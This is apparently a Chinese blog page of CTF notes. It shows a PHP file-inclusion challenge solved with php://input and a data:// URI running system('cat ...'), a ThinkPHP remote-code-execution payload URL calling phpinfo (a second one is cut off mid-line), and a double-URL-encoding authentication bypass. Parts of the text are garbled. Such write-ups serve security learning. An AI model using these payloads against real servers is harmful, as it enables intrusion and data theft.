当前位置:网站首页>ctf 记录
ctf 记录
2022-07-02 09:32:00 【freshfox】
源码审计
文件包含:
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
1. php://input + post 数据 php 代码。

2. ?page=data://text/plain,<?php system("cat fl4gisisish3r3.php")?>
thinkphp rce 漏洞在利用的时候注意payload
漏洞利用:
payload:
查看phpinfo:
http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
1
查看敏感文件:
http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>
Can you anthenticate to this website?
第一步,要使得"admin"===$_GET[id]不成立
我们可以对admin进行url编码,当然也可以对其中一个字母编码我们这里对a进行编码:%61dmin
第一次实际比较if("admin"==="%61dmin") 不成立
1
第二步,经过G E T [ i d ] = u r l d e c o d e ( _GET[id] = urldecode(
G
ET[id]=urldecode(_GET[id]);,使得$_GET[id] == "admin"成立。
经过urldecode解码后变成admin
第二次实际比较if("admin" == "admin"); 成立
1
**注意:**当传入参数id时,浏览器在后面会对非ASCII码的字符进行一次urlencode编码,运行时会自动进行一次urldecode
因为我们在url连接里直接运行,浏览器会进行一次url解码,所以我们还要进行一次url编码,就是对admin进行两次编码再运行
urldecode(%2561)=%61
urldecode(%61)=a
边栏推荐
- Resources读取2d纹理 转换为png格式
- 一招快速实现自定义快应用titlebar
- Win11 arm system configuration Net core environment variable
- Xiao Sha's pain (double pointer
- JVM garbage collector
- Luogu p4281 [ahoi2008] emergency gathering / gathering (tree doubling LCA)
- Rest (XOR) position and thinking
- I STM32 development environment, keil5/mdk5.14 installation tutorial (with download link)
- 【AI应用】海康威视iVMS-4200软件安装
- [AGC] build service 3 - authentication service example
猜你喜欢

Implement custom drawer component in quick application

一招快速实现自定义快应用titlebar

二.Stm32f407芯片GPIO编程,寄存器操作,库函数操作和位段操作
![二叉树专题--洛谷 P3884 [JLOI2009]二叉树问题(dfs求二叉树深度 bfs求二叉树宽度 dijkstra求最短路)](/img/c2/bb85b681af0f78b380b1d179c7ea49.png)
二叉树专题--洛谷 P3884 [JLOI2009]二叉树问题(dfs求二叉树深度 bfs求二叉树宽度 dijkstra求最短路)

Hdu1234 door opener and door closer (water question)

Special topic of binary tree -- acwing 3384 Binary tree traversal (known preorder traversal, while building a tree, while outputting middle order traversal)

V2x SIM dataset (Shanghai Jiaotong University & New York University)

Special topic of binary tree -- acwing 3540 Binary search tree building (use the board to build a binary search tree and output the pre -, middle -, and post sequence traversal)

【AGC】构建服务3-认证服务示例
![Binary tree topic -- Luogu p3884 [jloi2009] binary tree problem (DFS for binary tree depth BFS for binary tree width Dijkstra for shortest path)](/img/c2/bb85b681af0f78b380b1d179c7ea49.png)
Binary tree topic -- Luogu p3884 [jloi2009] binary tree problem (DFS for binary tree depth BFS for binary tree width Dijkstra for shortest path)
随机推荐
Thanos Receiver
Hdu1236 ranking (structure Sorting)
JVM之垃圾回收器
enumrate的start属性的坑
【AppLinking实战案例】通过AppLinking分享应用内图片
二叉树专题--P1030 [NOIP2001 普及组] 求先序排列
Win11 arm system configuration Net core environment variable
Filtering of PCL
二叉树专题--AcWing 19. 二叉树的下一个节点(找树中节点的后继)
I STM32 development environment, keil5/mdk5.14 installation tutorial (with download link)
QT学习日记8——资源文件添加
K-d tree and octree of PCL
PCL eigen introduction and simple use
Verilog 和VHDL有符号数和无符号数相关运算
【深入浅出玩转FPGA学习2----设计技巧(基本语法)】
Summary of cases of players' disconnection and reconnection in Huawei online battle service
Matlab processing of distance measurement of experimental electron microscope
[ark UI] implementation of the startup page of harmonios ETS
QT learning diary 8 - resource file addition
Special topic of binary tree -- [deep base 16. Example 7] ordinary binary tree (simplified version) (multiset seeks the precursor and subsequent sentry Art)